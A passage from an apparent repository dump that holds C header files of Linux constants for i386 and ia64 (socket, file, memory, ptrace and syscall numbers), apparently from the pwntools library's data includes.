46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define O_ACCMODE 0x3\n#define O_RDONLY 0x0\n#define O_WRONLY 0x1\n#define O_RDWR 0x2\n#define O_CREAT 0x40\n#define O_EXCL 0x80\n#define O_NOCTTY 0x100\n#define O_TRUNC 0x200\n#define O_APPEND 0x400\n#define O_NONBLOCK 0x800\n#define O_NDELAY 0x800\n#define O_DSYNC 0x1000\n#define FASYNC 0x2000\n#define O_DIRECT 0x4000\n#define O_LARGEFILE 0x8000\n#define O_DIRECTORY 0x10000\n#define O_NOFOLLOW 0x20000\n#define O_NOATIME 0x40000\n#define O_CLOEXEC 0x80000\n#define O_SYNC 0x101000\n#define O_PATH 0x200000\n#define __O_TMPFILE 0x400000\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETLK 5\n#define F_SETLK 6\n#define F_SETLKW 7\n#define F_SETOWN 8\n#define F_GETOWN 9\n#define F_SETSIG 10\n#define F_GETSIG 11\n#define F_GETLK64 12\n#define F_SETLK64 13\n#define F_SETLKW64 14\n#define FD_CLOEXEC 1\n#define F_RDLCK 0\n#define F_WRLCK 1\n#define F_UNLCK 2\n#define F_EXLCK 4\n#define F_SHLCK 8\n#define F_INPROGRESS 16\n#define LOCK_SH 1\n#define LOCK_EX 2\n#define LOCK_NB 4\n#define LOCK_UN 8\n#define LOCK_MAND 32\n#define LOCK_READ 64\n#define LOCK_WRITE 128\n#define LOCK_RW 192\n#define O_TMPFILE 0x410000\n#define O_ASYNC 0x2000\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FIXED 0x10\n#define MAP_ANONYMOUS 0x20\n#define MAP_GROWSDOWN 0x0100\n#define MAP_DENYWRITE 0x0800\n#define MAP_EXECUTABLE 0x1000\n#define MAP_LOCKED 0x2000\n#define MAP_NORESERVE 0x4000\n#define MAP_POPULATE 0x8000\n#define MAP_NONBLOCK 0x10000\n#define MAP_STACK 0x20000\n#define MAP_HUGETLB 0x40000\n#define MS_ASYNC 1\n#define MS_INVALIDATE 2\n#define MS_SYNC 4\n#define MCL_CURRENT 1\n#define MCL_FUTURE 2\n#define MCL_ONFAULT 4\n#define MADV_NORMAL 0x0\n#define MADV_RANDOM 0x1\n#define MADV_SEQUENTIAL 0x2\n#define MADV_WILLNEED 0x3\n#define MADV_DONTNEED 0x4\n#define MAP_ANON 0x20\n#define MAP_FILE 0\n#define POSIX_MADV_NORMAL 0x0\n#define POSIX_MADV_SEQUENTIAL 0x2\n#define POSIX_MADV_RANDOM 0x1\n#define POSIX_MADV_WILLNEED 0x3\n#define POSIX_MADV_DONTNEED 0x4\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define EBX 0\n#define ECX 1\n#define EDX 2\n#define ESI 3\n#define EDI 4\n#define EBP 5\n#define EAX 6\n#define DS 7\n#define ES 8\n#define FS 9\n#define GS 10\n#define ORIG_EAX 11\n#define EIP 12\n#define CS 13\n#define EFL 14\n#define UESP 15\n#define SS 16\n#define FRAME_SIZE 17\n#define PTRACE_GETREGS 12\n#define PTRACE_SETREGS 13\n#define PTRACE_GETFPREGS 14\n#define PTRACE_SETFPREGS 15\n#define PTRACE_GETFPXREGS 18\n#define PTRACE_SETFPXREGS 19\n#define PTRACE_SETOPTIONS 21\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define SYS_accept4 364\n#define SYS_access 33\n#define SYS_acct 51\n#define SYS_add_key 286\n#define SYS_adjtimex 124\n#define SYS_afs_syscall 137\n#define SYS_alarm 27\n#define SYS_bdflush 134\n#define SYS_bind 361\n#define SYS_bpf 357\n#define SYS_break 17\n#define SYS_brk 45\n#define SYS_capget 184\n#define SYS_capset 185\n#define SYS_chdir 12\n#define SYS_chmod 15\n#define SYS_chown 182\n#define SYS_chown32 212\n#define SYS_chroot 61\n#define SYS_clock_adjtime 343\n#define SYS_clock_adjtime64 405\n#define SYS_clock_getres (259+7)\n#define SYS_clock_getres_time64 406\n#define SYS_clock_gettime (259+6)\n#define SYS_clock_gettime64 403\n#define SYS_clock_nanosleep (259+8)\n#define SYS_clock_nanosleep_time64 407\n#define SYS_clock_settime (259+5)\n#define SYS_clock_settime64 404\n#define SYS_clone 120\n#define SYS_clone3 435\n#define SYS_close 6\n#define SYS_connect 362\n#define SYS_copy_file_range 377\n#define SYS_creat 8\n#define SYS_create_module 127\n#define SYS_delete_module 129\n#define SYS_dup 41\n#define SYS_dup2 63\n#define SYS_dup3 330\n#define SYS_epoll_create 254\n#define SYS_epoll_create1 329\n#define SYS_epoll_ctl 255\n#define SYS_epoll_pwait 319\n#define SYS_epoll_wait 256\n#define SYS_eventfd 323\n#define SYS_eventfd2 328\n#define SYS_execve 11\n#define SYS_execveat 358\n#define SYS_exit 1\n#define SYS_exit_group 252\n#define SYS_faccessat 307\n#define SYS_fadvise64 250\n#define SYS_fadvise64_64 272\n#define SYS_fallocate 324\n#define SYS_fanotify_init 338\n#define SYS_fanotify_mark 339\n#define SYS_fchdir 133\n#define SYS_fchmod 94\n#define SYS_fchmodat 306\n#define SYS_fchown 95\n#define SYS_fchown32 207\n#define SYS_fchownat 298\n#define SYS_fcntl 55\n#define SYS_fcntl64 221\n#define SYS_fdatasync 148\n#define SYS_fgetxattr 231\n#define SYS_finit_module 350\n#define SYS_flistxattr 234\n#define SYS_flock 143\n#define SYS_fork 2\n#define SYS_fremovexattr 237\n#define SYS_fsconfig 431\n#define SYS_fsetxattr 228\n#define SYS_fsmount 432\n#define SYS_fsopen 430\n#define SYS_fspick 433\n#define SYS_fstat 108\n#define SYS_fstat64 197\n#define SYS_fstatat64 300\n#define SYS_fstatfs 100\n#define SYS_fstatfs64 269\n#define SYS_fsync 118\n#define SYS_ftime 35\n#define SYS_ftruncate 93\n#define SYS_ftruncate64 194\n#define SYS_futex 240\n#define SYS_futex_time64 422\n#define SYS_futimesat 299\n#define SYS_getcpu 318\n#define SYS_getcwd 183\n#define SYS_getdents 141\n#define SYS_getdents64 220\n#define SYS_getegid 50\n#define SYS_getegid32 202\n#define SYS_geteuid 49\n#define SYS_geteuid32 201\n#define SYS_getgid 47\n#define SYS_getgid32 200\n#define SYS_getgroups 80\n#define SYS_getgroups32 205\n#define SYS_getitimer 105\n#define SYS_get_kernel_syms 130\n#define SYS_get_mempolicy 275\n#define SYS_getpeername 368\n#define SYS_getpgid 132\n#define SYS_getpgrp 65\n#define SYS_getpid 20\n#define SYS_getpmsg 188\n#define SYS_getppid 64\n#define SYS_getpriority 96\n#define SYS_getrandom 355\n#define SYS_getresgid 171\n#define SYS_getresgid32 211\n#define SYS_getresuid 165\n#define SYS_getresuid32 209\n#define SYS_getrlimit 76\n#define SYS_get_robust_list 312\n#define SYS_getrusage 77\n#define SYS_getsid 147\n#define SYS_getsockname 367\n#define SYS_getsockopt 365\n#define SYS_get_thread_area 244\n#define SYS_gettid 224\n#define SYS_gettimeofday 78\n#define SYS_getuid 24\n#define SYS_getuid32 199\n#define SYS_getxattr 229\n#define SYS_gtty 32\n#define SYS_ia32_arch_prctl 384\n#define SYS_ia32_io_pgetevents 385\n#define SYS_ia32_rseq 386\n#define SYS_ia32_statx 383\n#define SYS_idle 112\n#define SYS_init_module 128\n#define SYS_inotify_add_watch 292\n#define SYS_inotify_init 291\n#define SYS_inotify_init1 332\n#define SYS_inotify_rm_watch 293\n#define SYS_io_cancel 249\n#define SYS_ioctl 54\n#define SYS_io_destroy 246\n#define SYS_io_getevents 247\n#define SYS_ioperm 101\n#define SYS_io_pgetevents_time64 416\n#define SYS_iopl 110\n#define SYS_ioprio_get 290\n#define SYS_ioprio_set 289\n#define SYS_io_setup 245\n#define SYS_io_submit 248\n#define SYS_io_uring_enter 426\n#define SYS_io_uring_register 427\n#define SYS_io_uring_setup 425\n#define SYS_ipc 117\n#define SYS_kcmp 349\n#define SYS_keyctl 288\n#define SYS_kill 37\n#define SYS_lchown 16\n#define SYS_lchown32 198\n#define SYS_lgetxattr 230\n#define SYS_link 9\n#define SYS_linkat 303\n#define SYS_listen 363\n#define SYS_listxattr 232\n#define SYS_llistxattr 233\n#define SYS__llseek 140\n#define SYS_lock 53\n#define SYS_lookup_dcookie 253\n#define SYS_lremovexattr 236\n#define SYS_lseek 19\n#define SYS_lsetxattr 227\n#define SYS_lstat 107\n#define SYS_lstat64 196\n#define SYS_madvise 219\n#define SYS_madvise1 219\n#define SYS_mbind 274\n#define SYS_membarrier 375\n#define SYS_memfd_create 356\n#define SYS_migrate_pages 294\n#define SYS_mincore 218\n#define SYS_mkdir 39\n#define SYS_mkdirat 296\n#define SYS_mknod 14\n#define SYS_mknodat 297\n#define SYS_mlock 150\n#define SYS_mlock2 376\n#define SYS_mlockall 152\n#define SYS_mmap 90\n#define SYS_mmap2 192\n#define SYS_modify_ldt 123\n#define SYS_mount 21\n#define SYS_move_mount 429\n#define SYS_move_pages 317\n#define SYS_mprotect 125\n#define SYS_mpx 56\n#define SYS_mq_getsetattr (277+5)\n#define SYS_mq_notify (277+4)\n#define SYS_mq_open 277\n#define SYS_mq_timedreceive (277+3)\n#define SYS_mq_timedreceive_time64 419\n#define SYS_mq_timedsend (277+2)\n#define SYS_mq_timedsend_time64 418\n#define SYS_mq_unlink (277+1)\n#define SYS_mremap 163\n#define SYS_msgctl 402\n#define SYS_msgget 399\n#define SYS_msgrcv 401\n#define SYS_msgsnd 400\n#define SYS_msync 144\n#define SYS_munlock 151\n#define SYS_munlockall 153\n#define SYS_munmap 91\n#define SYS_name_to_handle_at 341\n#define SYS_nanosleep 162\n#define SYS__newselect 142\n#define SYS_nfsservctl 169\n#define SYS_nice 34\n#define SYS_oldfstat 28\n#define SYS_oldlstat 84\n#define SYS_oldolduname 59\n#define SYS_oldstat 18\n#define SYS_olduname 109\n#define SYS_open 5\n#define SYS_openat 295\n#define SYS_openat2 437\n#define SYS_open_by_handle_at 342\n#define SYS_open_tree 428\n#define SYS_pause 29\n#define SYS_perf_event_open 336\n#define SYS_personality 136\n#define SYS_pidfd_getfd 438\n#define SYS_pidfd_open 434\n#define SYS_pidfd_send_signal 424\n#define SYS_pipe 42\n#define SYS_pipe2 331\n#define SYS_pivot_root 217\n#define SYS_pkey_alloc 381\n#define SYS_pkey_free 382\n#define SYS_pkey_mprotect 380\n#define SYS_poll 168\n#define SYS_ppoll 309\n#define SYS_ppoll_time64 414\n#define SYS_prctl 172\n#define SYS_pread 180\n#define SYS_preadv 333\n#define SYS_preadv2 378\n#define SYS_prlimit64 340\n#define SYS_process_vm_readv 347\n#define SYS_process_vm_writev 348\n#define SYS_prof 44\n#define SYS_profil 98\n#define SYS_pselect6 308\n#define SYS_pselect6_time64 413\n#define SYS_ptrace 26\n#define SYS_putpmsg 189\n#define SYS_pwrite 181\n#define SYS_pwritev 334\n#define SYS_pwritev2 379\n#define SYS_query_module 167\n#define SYS_quotactl 131\n#define SYS_read 3\n#define SYS_readahead 225\n#define SYS_readdir 89\n#define SYS_readlink 85\n#define SYS_readlinkat 305\n#define SYS_readv 145\n#define SYS_reboot 88\n#define SYS_recvfrom 371\n#define SYS_recvmmsg 337\n#define SYS_recvmmsg_time64 417\n#define SYS_recvmsg 372\n#define SYS_remap_file_pages 257\n#define SYS_removexattr 235\n#define SYS_rename 38\n#define SYS_renameat 302\n#define SYS_renameat2 353\n#define SYS_request_key 287\n#define SYS_rmdir 40\n#define SYS_rt_sigaction 174\n#define SYS_rt_sigpending 176\n#define SYS_rt_sigprocmask 175\n#define SYS_rt_sigqueueinfo 178\n#define SYS_rt_sigreturn 173\n#define SYS_rt_sigsuspend 179\n#define SYS_rt_sigtimedwait 177\n#define SYS_rt_sigtimedwait_time64 421\n#define SYS_rt_tgsigqueueinfo 335\n#define SYS_sched_getaffinity 242\n#define SYS_sched_getattr 352\n#define SYS_sched_getparam 155\n#define SYS_sched_get_priority_max 159\n#define SYS_sched_get_priority_min 160\n#define SYS_sched_getscheduler 157\n#define SYS_sched_rr_get_interval 161\n#define SYS_sched_rr_get_interval_time64 423\n#define SYS_sched_setaffinity 241\n#define SYS_sched_setattr 351\n#define SYS_sched_setparam 154\n#define SYS_sched_setscheduler 156\n#define SYS_sched_yield 158\n#define SYS_seccomp 354\n#define SYS_select 82\n#define SYS_semctl 394\n#define SYS_semget 393\n#define SYS_semtimedop_time64 420\n#define SYS_sendfile 187\n#define SYS_sendfile64 239\n#define SYS_sendmmsg 345\n#define SYS_sendmsg 370\n#define SYS_sendto 369\n#define SYS_setdomainname 121\n#define SYS_setfsgid 139\n#define SYS_setfsgid32 216\n#define SYS_setfsuid 138\n#define SYS_setfsuid32 215\n#define SYS_setgid 46\n#define SYS_setgid32 214\n#define SYS_setgroups 81\n#define SYS_setgroups32 206\n#define SYS_sethostname 74\n#define SYS_setitimer 104\n#define SYS_set_mempolicy 276\n#define SYS_setns 346\n#define SYS_setpgid 57\n#define SYS_setpriority 97\n#define SYS_setregid 71\n#define SYS_setregid32 204\n#define SYS_setresgid 170\n#define SYS_setresgid32 210\n#define SYS_setresuid 164\n#define SYS_setresuid32 208\n#define SYS_setreuid 70\n#define SYS_setreuid32 203\n#define SYS_setrlimit 75\n#define SYS_set_robust_list 311\n#define SYS_setsid 66\n#define SYS_setsockopt 366\n#define SYS_set_thread_area 243\n#define SYS_set_tid_address 258\n#define SYS_settimeofday 79\n#define SYS_setuid 23\n#define SYS_setuid32 213\n#define SYS_setxattr 226\n#define SYS_sgetmask 68\n#define SYS_shmat 397\n#define SYS_shmctl 396\n#define SYS_shmdt 398\n#define SYS_shmget 395\n#define SYS_shutdown 373\n#define SYS_sigaction 67\n#define SYS_sigaltstack 186\n#define SYS_signal 48\n#define SYS_signalfd 321\n#define SYS_signalfd4 327\n#define SYS_sigpending 73\n#define SYS_sigprocmask 126\n#define SYS_sigreturn 119\n#define SYS_sigsuspend 72\n#define SYS_socket 359\n#define SYS_socketcall 102\n#define SYS_socketpair 360\n#define SYS_splice 313\n#define SYS_ssetmask 69\n#define SYS_stat 106\n#define SYS_stat64 195\n#define SYS_statfs 99\n#define SYS_statfs64 268\n#define SYS_stime 25\n#define SYS_stty 31\n#define SYS_swapoff 115\n#define SYS_swapon 87\n#define SYS_symlink 83\n#define SYS_symlinkat 304\n#define SYS_sync 36\n#define SYS_sync_file_range 314\n#define SYS_syncfs 344\n#define SYS__sysctl 149\n#define SYS_sysfs 135\n#define SYS_sysinfo 116\n#define SYS_sys_kexec_load 283\n#define SYS_syslog 103\n#define SYS_tee 315\n#define SYS_tgkill 270\n#define SYS_time 13\n#define SYS_timer_create 259\n#define SYS_timer_delete (259+4)\n#define SYS_timerfd 322\n#define SYS_timerfd_gettime 326\n#define SYS_timerfd_gettime64 410\n#define SYS_timerfd_settime 325\n#define SYS_timerfd_settime64 411\n#define SYS_timer_getoverrun (259+3)\n#define SYS_timer_gettime (259+2)\n#define SYS_timer_gettime64 408\n#define SYS_timer_settime (259+1)\n#define SYS_timer_settime64 409\n#define SYS_times 43\n#define SYS_tkill 238\n#define SYS_truncate 92\n#define SYS_truncate64 193\n#define SYS_ugetrlimit 191\n#define SYS_ulimit 58\n#define SYS_umask 60\n#define SYS_umount 22\n#define SYS_umount2 52\n#define SYS_uname 122\n#define SYS_unlink 10\n#define SYS_unlinkat 301\n#define SYS_unshare 310\n#define SYS_uselib 86\n#define SYS_userfaultfd 374\n#define SYS_ustat 62\n#define SYS_utime 30\n#define SYS_utimensat 320\n#define SYS_utimensat_time64 412\n#define SYS_utimes 271\n#define SYS_vfork 190\n#define SYS_vhangup 111\n#define SYS_vm86 166\n#define SYS_vm86old 113\n#define SYS_vmsplice 316\n#define SYS_vserver 273\n#define SYS_wait4 114\n#define SYS_waitid 284\n#define SYS_waitpid 7\n#define SYS_write 4\n#define SYS_writev 146\n#define SYS_socketcall_socket 1\n#define SYS_socketcall_bind 2\n#define SYS_socketcall_connect 3\n#define SYS_socketcall_listen 4\n#define SYS_socketcall_accept 5\n#define SYS_socketcall_getsockname 6\n#define SYS_socketcall_getpeername 7\n#define SYS_socketcall_socketpair 8\n#define SYS_socketcall_send 9\n#define SYS_socketcall_recv 10\n#define SYS_socketcall_sendto 11\n#define SYS_socketcall_recvfrom 12\n#define SYS_socketcall_shutdown 13\n#define SYS_socketcall_setsockopt 14\n#define SYS_socketcall_getsockopt 15\n#define SYS_socketcall_sendmsg 16\n#define SYS_socketcall_recvmsg 17\n"
  },
  {
    "path": "pwnlib/data/includes/linux/ia64.h",
    "content": "#define __NR_Linux 1024\n#define __NR_ni_syscall (1024 + 0)\n#define __NR_exit (1024 + 1)\n#define __NR_read (1024 + 2)\n#define __NR_write (1024 + 3)\n#define __NR_open (1024 + 4)\n#define __NR_close (1024 + 5)\n#define __NR_creat (1024 + 6)\n#define __NR_link (1024 + 7)\n#define __NR_unlink (1024 + 8)\n#define __NR_execve (1024 + 9)\n#define __NR_chdir (1024 + 10)\n#define __NR_fchdir (1024 + 11)\n#define __NR_utimes (1024 + 12)\n#define __NR_mknod (1024 + 13)\n#define __NR_chmod (1024 + 14)\n#define __NR_chown (1024 + 15)\n#define __NR_lseek (1024 + 16)\n#define __NR_getpid (1024 + 17)\n#define __NR_getppid (1024 + 18)\n#define __NR_mount (1024 + 19)\n#define __NR_umount2 (1024 + 20)\n#define __NR_setuid (1024 + 21)\n#define __NR_getuid (1024 + 22)\n#define __NR_geteuid (1024 + 23)\n#define __NR_ptrace (1024 + 24)\n#define __NR_access (1024 + 25)\n#define __NR_sync (1024 + 26)\n#define __NR_fsync (1024 + 27)\n#define __NR_fdatasync (1024 + 28)\n#define __NR_kill (1024 + 29)\n#define __NR_rename (1024 + 30)\n#define __NR_mkdir (1024 + 31)\n#define __NR_rmdir (1024 + 32)\n#define __NR_dup (1024 + 33)\n#define __NR_pipe (1024 + 34)\n#define __NR_times (1024 + 35)\n#define __NR_brk (1024 + 36)\n#define __NR_setgid (1024 + 37)\n#define __NR_getgid (1024 + 38)\n#define __NR_getegid (1024 + 39)\n#define __NR_acct (1024 + 40)\n#define __NR_ioctl (1024 + 41)\n#define __NR_fcntl (1024 + 42)\n#define __NR_umask (1024 + 43)\n#define __NR_chroot (1024 + 44)\n#define __NR_ustat (1024 + 45)\n#define __NR_dup2 (1024 + 46)\n#define __NR_setreuid (1024 + 47)\n#define __NR_setregid (1024 + 48)\n#define __NR_getresuid (1024 + 49)\n#define __NR_setresuid (1024 + 50)\n#define __NR_getresgid (1024 + 51)\n#define __NR_setresgid (1024 + 